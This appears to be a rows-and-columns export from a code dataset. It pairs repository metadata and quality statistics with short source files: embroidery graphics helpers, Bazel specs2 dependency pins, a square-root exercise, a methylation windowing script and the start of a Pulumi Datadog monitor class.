| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
3d6d13c4d1cdf023caa973369936318bbb9b54dc
| 45
|
py
|
Python
|
venv/lib/python3.7/os.py
|
OseiasBeu/PyECom
|
2ea4e7e3be4ca015fb1bbc1083aa3f2d44accc5f
|
[
"CC0-1.0"
] | 1
|
2020-08-16T04:04:23.000Z
|
2020-08-16T04:04:23.000Z
|
venv/lib/python3.7/os.py
|
OseiasBeu/PyECom
|
2ea4e7e3be4ca015fb1bbc1083aa3f2d44accc5f
|
[
"CC0-1.0"
] | null | null | null |
venv/lib/python3.7/os.py
|
OseiasBeu/PyECom
|
2ea4e7e3be4ca015fb1bbc1083aa3f2d44accc5f
|
[
"CC0-1.0"
] | null | null | null |
/home/oseiasbeu/anaconda3/lib/python3.7/os.py
| 45
| 45
| 0.822222
| 8
| 45
| 4.625
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 0
| 45
| 1
| 45
| 45
| 0.755556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3d7b33c6eb351ff9a7f77e1f2f67e02b94a61ee0
| 16
|
py
|
Python
|
data/studio21_generated/introductory/2790/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/2790/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/2790/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def dup(arry):
| 8
| 14
| 0.625
| 3
| 16
| 3.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1875
| 16
| 2
| 15
| 8
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3d84d033e7b78c338505d50e0e2a557c8ffd13bc
| 4,994
|
py
|
Python
|
pyembroidery/PecGraphics.py
|
wwderw/pyembroidery
|
a61e24bda849a3c8b16e098ac170904a5d68eda8
|
[
"MIT"
] | 1
|
2021-12-24T23:21:29.000Z
|
2021-12-24T23:21:29.000Z
|
pyembroidery/PecGraphics.py
|
wwderw/pyembroidery
|
a61e24bda849a3c8b16e098ac170904a5d68eda8
|
[
"MIT"
] | null | null | null |
pyembroidery/PecGraphics.py
|
wwderw/pyembroidery
|
a61e24bda849a3c8b16e098ac170904a5d68eda8
|
[
"MIT"
] | null | null | null |
from math import floor
blank = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F,
0x08, 0x00, 0x00, 0x00, 0x00, 0x10,
0x04, 0x00, 0x00, 0x00, 0x00, 0x20,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x02, 0x00, 0x00, 0x00, 0x00, 0x40,
0x04, 0x00, 0x00, 0x00, 0x00, 0x20,
0x08, 0x00, 0x00, 0x00, 0x00, 0x10,
0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
def get_blank():
return [m for m in blank]
def create(width, height):
width /= 8
return [0x00] * width * height
def draw(points, graphic, stride=6):
for point in points:
try:
try:
graphic_mark_bit(graphic,
int(point.x),
int(point.y),
stride)
except AttributeError:
graphic_mark_bit(graphic,
int(point[0]),
int(point[1]),
stride)
except IndexError:
pass
def draw_scaled(extends, points, graphic, stride, buffer=5):
if extends is None:
draw(points, graphic, stride)
return
try:
left = extends.left
top = extends.top
right = extends.right
bottom = extends.bottom
except AttributeError:
left = extends[0]
top = extends[1]
right = extends[2]
bottom = extends[3]
diagram_width = right - left
diagram_height = bottom - top
graphic_width = stride * 8
graphic_height = len(graphic) / stride
if diagram_width == 0:
diagram_width = 1
if diagram_height == 0:
diagram_height = 1
scale_x = (graphic_width - buffer) / diagram_width
scale_y = (graphic_height - buffer) / diagram_height
scale = min(scale_x, scale_y)
cx = (right + left) / 2
cy = (bottom + top) / 2
translate_x = -cx
translate_y = -cy
translate_x *= scale
translate_y *= scale
translate_x += graphic_width / 2
translate_y += graphic_height / 2
for point in points:
try:
try:
graphic_mark_bit(graphic,
int(floor((point.x * scale) + translate_x)),
int(floor((point.y * scale) + translate_y)),
stride)
except AttributeError:
graphic_mark_bit(graphic,
int(floor((point[0] * scale) + translate_x)),
int(floor((point[1] * scale) + translate_y)),
stride)
except IndexError:
pass
def clear(graphic):
for b in graphic:
b = 0
def graphic_mark_bit(graphic, x, y, stride=6):
"""expressly sets the bit in the give graphic object"""
graphic[(y * stride) + int(x / 8)] |= 1 << (x % 8)
def graphic_unmark_bit(graphic, x, y, stride=6):
"""expressly unsets the bit in the give graphic object"""
graphic[(y * stride) + int(x / 8)] &= ~(1 << (x % 8))
def get_graphic_as_string(graphic, one="#", zero=" "):
"""Prints graphic object in text."""
stride = 6
if isinstance(graphic, tuple):
stride = graphic[1]
graphic = graphic[0]
if isinstance(graphic, str):
graphic = bytearray(graphic)
list_string = [
one if (byte >> i) & 1 else zero
for byte in graphic
for i in range(0, 8)
]
bit_stride = 8 * stride
bit_length = 8 * len(graphic)
return '\n'.join(
''.join(list_string[m:m + bit_stride])
for m in range(0, bit_length, bit_stride))
| 30.266667
| 79
| 0.52483
| 608
| 4,994
| 4.225329
| 0.148026
| 0.348774
| 0.355002
| 0.249124
| 0.560919
| 0.527053
| 0.426625
| 0.397042
| 0.397042
| 0.357337
| 0
| 0.22142
| 0.362435
| 4,994
| 164
| 80
| 30.45122
| 0.585427
| 0.026432
| 0
| 0.439394
| 0
| 0
| 0.000854
| 0
| 0
| 0
| 0.195643
| 0
| 0
| 1
| 0.060606
| false
| 0.015152
| 0.007576
| 0.007576
| 0.098485
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3dad004841e881c03918e8ac1143ac04d0620044
| 5,323
|
bzl
|
Python
|
third_party/org_specs2.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
third_party/org_specs2.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
third_party/org_specs2.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "org_specs2_classycle",
artifact = "org.specs2:classycle:1.4.3",
jar_sha256 = "9b8cc4f88a5fa8c0e9437ff72f472f9f8e2a7509d94261df6196d5570935d697",
srcjar_sha256 = "23e4f4afe7f91b882974fa7fa06164c2db1b1d97a1d974cde166ed0990d03da1",
)
import_external(
name = "org_specs2_specs2_analysis_2_12",
artifact = "org.specs2:specs2-analysis_2.12:4.4.1",
jar_sha256 = "8ef25253790e57ecd06a40d627e99cb4dd2aec6af6b848a44f3b7f55774a8fb4",
srcjar_sha256 = "c72f1e5fc10b7ecbc538dc318aaa623d199212de665a3f2436e4ada632881fb5",
deps = [
"@org_scala_lang_scala_compiler",
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_classycle",
"@org_specs2_specs2_core_2_12",
"@org_specs2_specs2_matcher_2_12"
],
)
import_external(
name = "org_specs2_specs2_common_2_12",
artifact = "org.specs2:specs2-common_2.12:4.4.1",
jar_sha256 = "7b7d2497bfe10ad552f5ab3780537c7db9961d0ae841098d5ebd91c78d09438a",
srcjar_sha256 = "15a011cf29bdb04550ddc555cae889e456d8441a33fd55c24053f142973c71a9",
deps = [
"@org_scala_lang_modules_scala_parser_combinators_2_12",
"@org_scala_lang_modules_scala_xml_2_12",
"@org_scala_lang_scala_library",
"@org_scala_lang_scala_reflect",
"@org_specs2_specs2_fp_2_12"
],
)
import_external(
name = "org_specs2_specs2_core_2_12",
artifact = "org.specs2:specs2-core_2.12:4.4.1",
jar_sha256 = "f92c3c83844aac13250acec4eb247a2a26a2b3f04e79ef1bf42c56de4e0bb2e7",
srcjar_sha256 = "b7f9484e74686c1b8e46b8a2330f7a056fddf0e78ff43c1385e0442df9e331ca",
deps = [
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_specs2_matcher_2_12"
],
)
import_external(
name = "org_specs2_specs2_fp_2_12",
artifact = "org.specs2:specs2-fp_2.12:4.4.1",
jar_sha256 = "834a145b28dbf57ba6d96f02a3862522e693b5aeec44d4cb2f305ef5617dc73f",
srcjar_sha256 = "5da9f4e3941be1472da999d4bf34fda814813f6594542898c5a8525562ad212f",
deps = [
"@org_scala_lang_scala_library"
],
)
import_external(
name = "org_specs2_specs2_matcher_2_12",
artifact = "org.specs2:specs2-matcher_2.12:4.4.1",
jar_sha256 = "78c699001c307dcc5dcbec8a80cd9f14e9bdaa047579c3d1010ee4bea66805fe",
srcjar_sha256 = "0e156954387a7bda9be976883ccb064f59cf38e5114098fb5051a73868ca3c4b",
deps = [
"@org_scala_lang_scala_library",
"@org_specs2_specs2_common_2_12"
],
)
import_external(
name = "org_specs2_specs2_matcher_extra_2_12",
artifact = "org.specs2:specs2-matcher-extra_2.12:4.4.1",
jar_sha256 = "60658335b9457759c19e3a31d5337aa819c192bcada9630e2685ac53176d8371",
srcjar_sha256 = "95fcf255819fde8eab35d6c973390aa99dabf088a092f5d629a573367de3caf6",
deps = [
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_specs2_analysis_2_12",
"@org_specs2_specs2_matcher_2_12"
],
)
import_external(
name = "org_specs2_specs2_mock_2_12",
artifact = "org.specs2:specs2-mock_2.12:4.4.1",
jar_sha256 = "05597f52da532fc46d44ec5fd927b9f609d4e15c42f37be4a5f3e033f166cd15",
srcjar_sha256 = "4940599732c137f5f53f7f0e44618954fd57fe20eee39180391ebe8b2d964066",
deps = [
"@org_hamcrest_hamcrest_core",
"@org_mockito_mockito_core",
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_specs2_core_2_12"
],
)
import_external(
name = "org_specs2_specs2_scalacheck_2_12",
artifact = "org.specs2:specs2-scalacheck_2.12:4.4.1",
jar_sha256 = "e369072e1f11590e2b9211d958fc75430f9e8b309c90cb0eff1cbb32994457b2",
srcjar_sha256 = "bc71292b6b233142450e8f72e94be09780430f5796425f5262d612686f267668",
deps = [
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_scalacheck_scalacheck_2_12",
"@org_specs2_specs2_core_2_12"
],
)
import_external(
name = "org_specs2_specs2_junit_2_12",
artifact = "org.specs2:specs2-junit_2.12:4.4.1",
jar_sha256 = "c867824801da5cccf75354da6d12d406009c435865ecd08a881b799790e9ffec",
srcjar_sha256 = "516d58113fbad6365b291537af0e6bf48a3b913739bdbcc39992a4073e16660a",
deps = [
"@junit_junit",
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_specs2_core_2_12"
],
)
import_external(
name = "org_specs2_specs2_shapeless_2_12",
artifact = "org.specs2:specs2-shapeless_2.12:4.4.1",
jar_sha256 = "35cc30ac0dc6920017e8d71bbbd106f120db21b219fef0cafcda827157bca8f0",
srcjar_sha256 = "9a044696ae8b69bdc2de28372edb044d98bddb87467e4d526886dc82f78a459b",
deps = [
"@com_chuusai_shapeless_2_12",
"@org_scala_lang_scala_library",
"@org_scala_sbt_test_interface",
"@org_specs2_specs2_matcher_2_12"
],
)
| 35.724832
| 89
| 0.710877
| 496
| 5,323
| 7.092742
| 0.143145
| 0.029847
| 0.132177
| 0.057987
| 0.479818
| 0.450824
| 0.329449
| 0.243036
| 0.22257
| 0.211768
| 0
| 0.275441
| 0.200639
| 5,323
| 148
| 90
| 35.966216
| 0.551351
| 0
| 0
| 0.428571
| 0
| 0
| 0.615818
| 0.609807
| 0
| 0
| 0
| 0
| 0
| 1
| 0.007937
| true
| 0
| 0.095238
| 0
| 0.103175
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3db0b02c631d7181c74e532fcc8057fd3b08f01d
| 864
|
py
|
Python
|
basic algorithms/problem_1.py
|
nkwib/Data-Structures-Algorithms-Udacity-Nanodegree
|
566d93575a33ceda82bd018a2a22a69542625e12
|
[
"MIT"
] | null | null | null |
basic algorithms/problem_1.py
|
nkwib/Data-Structures-Algorithms-Udacity-Nanodegree
|
566d93575a33ceda82bd018a2a22a69542625e12
|
[
"MIT"
] | null | null | null |
basic algorithms/problem_1.py
|
nkwib/Data-Structures-Algorithms-Udacity-Nanodegree
|
566d93575a33ceda82bd018a2a22a69542625e12
|
[
"MIT"
] | null | null | null |
def sqrt(number):
"""
Calculate the floored square root of a number
Args:
number(int): Number to find the floored squared root
Returns:
int: Floored Square Root
"""
try:
if number < 0 :
return 'complex numbers not supported'
elif number >= 0:
return int(number**(1/2))
except:
return 'data type not supported'
print ("Pass" if (3 == sqrt(9)) else "Fail")
print ("Pass" if (0 == sqrt(0)) else "Fail")
print ("Pass" if (4 == sqrt(16)) else "Fail")
print ("Pass" if (1 == sqrt(1)) else "Fail")
print ("Pass" if (5 == sqrt(27)) else "Fail")
print ("Pass" if (6 == sqrt(37)) else "Fail")
print ("Pass" if (9 == sqrt(88)) else "Fail")
print ("Pass" if (16 == sqrt(256)) else "Fail")
print (sqrt(-27))
print (sqrt({}))
print (sqrt('Hello'))
| 28.8
| 60
| 0.542824
| 121
| 864
| 3.876033
| 0.371901
| 0.153518
| 0.187633
| 0.253731
| 0.283582
| 0
| 0
| 0
| 0
| 0
| 0
| 0.047154
| 0.288194
| 864
| 30
| 61
| 28.8
| 0.715447
| 0.167824
| 0
| 0
| 0
| 0
| 0.183612
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.052632
| false
| 0.421053
| 0
| 0
| 0.210526
| 0.578947
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
|
0
| 4
|
3dbae0c85aeee59f145e3a78466b9b8c21aa46eb
| 24
|
py
|
Python
|
CGATReport/version.py
|
IanSudbery/sphinx-report
|
34492b24d3df9261e9c74c3c3d6d4493c258aeac
|
[
"MIT"
] | null | null | null |
CGATReport/version.py
|
IanSudbery/sphinx-report
|
34492b24d3df9261e9c74c3c3d6d4493c258aeac
|
[
"MIT"
] | null | null | null |
CGATReport/version.py
|
IanSudbery/sphinx-report
|
34492b24d3df9261e9c74c3c3d6d4493c258aeac
|
[
"MIT"
] | null | null | null |
__version__ = "0.7.6.1"
| 12
| 23
| 0.625
| 5
| 24
| 2.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 0.125
| 24
| 1
| 24
| 24
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0.291667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3dcca3d17ab8e1f556b578ff07c6322338be5ed2
| 9,172
|
py
|
Python
|
4-methylation/7-methylation_motifs_windows.py
|
parkingvarsson/recombination_rate_variation
|
e0b046851c001d3368e564ebd5f38766df75bf12
|
[
"MIT"
] | 1
|
2021-08-24T10:24:07.000Z
|
2021-08-24T10:24:07.000Z
|
4-methylation/7-methylation_motifs_windows.py
|
parkingvarsson/Recombination_rate_variation
|
e0b046851c001d3368e564ebd5f38766df75bf12
|
[
"MIT"
] | null | null | null |
4-methylation/7-methylation_motifs_windows.py
|
parkingvarsson/Recombination_rate_variation
|
e0b046851c001d3368e564ebd5f38766df75bf12
|
[
"MIT"
] | null | null | null |
##### Script for calculating methylation levels for all three motifs #####
##### in all six individuals in the same file #####
import sys
import pandas as pd
## Config.
# Choose here the window size for your mutation rate estimate.
window_size = 50000
## Actual program
# Tries to read the needed columns of your meths and ends tables
def inputs():
try:
meths = pd.read_table(sys.argv[1], header=0, sep = "\t", comment="#", engine="c") #File containing methylation
except:
raise
print("{0} cannot be read.".format(sys.argv[2]))
try:
ends = pd.read_table(sys.argv[2], header=None, sep = "\t", comment="#", engine="c") #File containing chromosome names and lengths
except:
raise
print("{0} cannot be read.".format(sys.argv[3]))
return meths, ends
# Sorts the tables as the way I am going to do it is based upon sorted table.
def sort(meths, ends):
meths.sort_values(["chromosome", "position"], axis=0, ascending=True, inplace=True)
ends.sort_values([0, 1], axis=0, ascending=True, inplace=True)
return meths, ends
# Calculates window averages for all methylation contexts
def methylation(meths, ends):
tuples = []
na = []
for index, row in ends.iterrows():
subset_meths = meths.loc[(meths["chromosome"] == ends.iloc[index, 0]), :]
a = 0
b = window_size
while a < max(subset_meths["position"]):
if b < min(subset_meths["position"]):
c = "NA"
d = "NA"
e = "NA"
f = "NA"
g = "NA"
h = "NA"
i = "NA"
j = "NA"
k = "NA"
l = "NA"
m = "NA"
n = "NA"
o = "NA"
p = "NA"
q = "NA"
r = "NA"
s = "NA"
t = "NA"
na.append([ends.iloc[index, 0], a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t])
elif len(subset_meths[(a < subset_meths["position"]) & (subset_meths["position"] <= b)]) == 0:
c = "NA"
d = "NA"
e = "NA"
f = "NA"
g = "NA"
h = "NA"
i = "NA"
j = "NA"
k = "NA"
l = "NA"
m = "NA"
n = "NA"
o = "NA"
p = "NA"
q = "NA"
r = "NA"
s = "NA"
t = "NA"
na.append([ends.iloc[index, 0], a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t])
elif b > ends.iloc[index, 1]:
b = ends.iloc[index, 1]
c = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp001"].mean(skipna=True)
d = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp001"].mean(skipna=True)
e = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp001"].mean(skipna=True)
f = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp005"].mean(skipna=True)
g = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp005"].mean(skipna=True)
h = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp005"].mean(skipna=True)
i = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp044"].mean(skipna=True)
j = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp044"].mean(skipna=True)
k = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp044"].mean(skipna=True)
l = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp046"].mean(skipna=True)
m = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp046"].mean(skipna=True)
n = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp046"].mean(skipna=True)
o = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp113"].mean(skipna=True)
p = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp113"].mean(skipna=True)
q = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp113"].mean(skipna=True)
r = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp116"].mean(skipna=True)
s = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp116"].mean(skipna=True)
t = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp116"].mean(skipna=True)
tuples.append([ends.iloc[index, 0], a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t])
else:
c = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp001"].mean(skipna=True)
d = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp001"].mean(skipna=True)
e = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp001"].mean(skipna=True)
f = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp005"].mean(skipna=True)
g = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp005"].mean(skipna=True)
h = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp005"].mean(skipna=True)
i = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp044"].mean(skipna=True)
j = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp044"].mean(skipna=True)
k = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp044"].mean(skipna=True)
l = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp046"].mean(skipna=True)
m = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp046"].mean(skipna=True)
n = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp046"].mean(skipna=True)
o = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp113"].mean(skipna=True)
p = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp113"].mean(skipna=True)
q = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp113"].mean(skipna=True)
r = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CpG_swasp116"].mean(skipna=True)
s = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHG_swasp116"].mean(skipna=True)
t = subset_meths.loc[(a < subset_meths["position"]) & (subset_meths["position"] <= b), "CHH_swasp116"].mean(skipna=True)
tuples.append([ends.iloc[index, 0], a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t])
a = a+window_size
b = b+window_size
results = pd.DataFrame(tuples)
# genome_average = len(subs[0])/len(neuts[0])
# results[3] = results[2]/genome_average
if len(na) > 0:
na_values = pd.DataFrame(na)
# na_values[3] = na_values[2]
results = results.append(na_values)
else:
pass
results.sort_values([0, 1], axis=0, ascending=True, inplace=True)
return results
# Columnizes and writes the result
def making_the_result(results):
results.columns = ["chromosome", "win_start", "win_end",
"CpG_swasp001", "CHG_swasp001", "CHH_swasp001",
"CpG_swasp005", "CHG_swasp005", "CHH_swasp005",
"CpG_swasp044", "CHG_swasp044", "CHH_swasp044",
"CpG_swasp046", "CHG_swasp046", "CHH_swasp046",
"CpG_swasp113", "CHG_swasp113", "CHH_swasp113",
"CpG_swasp116", "CHG_swasp116", "CHH_swasp116",]
name = sys.argv[1].rsplit(".", 1)[0] + ".windowed." + sys.argv[1].rsplit(".", 1)[-1]
results.to_csv(name, header = True, index = None, sep = "\t")
# The main module calling all others
if __name__ == "__main__":
meths, ends = inputs()
meths, ends = sort(meths, ends)
results = methylation(meths, ends)
making_the_result(results)
| 58.420382
| 137
| 0.561273
| 1,185
| 9,172
| 4.177215
| 0.130802
| 0.253333
| 0.291717
| 0.149495
| 0.726061
| 0.703636
| 0.697778
| 0.684848
| 0.676768
| 0.676768
| 0
| 0.029985
| 0.261884
| 9,172
| 156
| 138
| 58.794872
| 0.701182
| 0.070432
| 0
| 0.646617
| 0
| 0
| 0.170809
| 0
| 0
| 0
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| 0
| 0
| 1
| 0.030075
| false
| 0.007519
| 0.015038
| 0
| 0.067669
| 0.015038
| 0
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| null | 1
| 1
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| 0
|
0
| 4
|
3dd8699fb4139398fca9cd5228d0f6aac5d62dec
| 14,140
|
py
|
Python
|
sdk/python/pulumi_datadog/datadog_monitor.py
|
lemonade-hq/pulumi-datadog
|
b9abe37914d3cde8c8f11aa37d16cc88568ba5b6
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2019-04-19T19:30:48.000Z
|
2019-05-28T02:23:19.000Z
|
sdk/python/pulumi_datadog/datadog_monitor.py
|
lemonade-hq/pulumi-datadog
|
b9abe37914d3cde8c8f11aa37d16cc88568ba5b6
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_datadog/datadog_monitor.py
|
lemonade-hq/pulumi-datadog
|
b9abe37914d3cde8c8f11aa37d16cc88568ba5b6
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from . import utilities, tables
class DatadogMonitor(pulumi.CustomResource):
escalation_message: pulumi.Output[str]
"""
A message to include with a re-notification. Supports the '@username'
notification allowed elsewhere.
"""
evaluation_delay: pulumi.Output[float]
include_tags: pulumi.Output[bool]
"""
A boolean indicating whether notifications from this monitor will automatically insert its
"""
locked: pulumi.Output[bool]
"""
A boolean indicating whether changes to to this monitor should be restricted to the creator or admins. Defaults to False.
"""
message: pulumi.Output[str]
"""
A message to include with notifications for this monitor.
Email notifications can be sent to specific users by using the same '@username' notation as events.
"""
name: pulumi.Output[str]
"""
Name of Datadog monitor
"""
new_host_delay: pulumi.Output[float]
"""
Time (in seconds) to allow a host to boot and
applications to fully start before starting the evaluation of monitor
results. Should be a non negative integer. Defaults to 300.
* `evaluation_delay` (Optional, only applies to metric alert) Time (in seconds) to delay evaluation, as a non-negative integer.
For example, if the value is set to 300 (5min), the timeframe is set to last_5m and the time is 7:00,
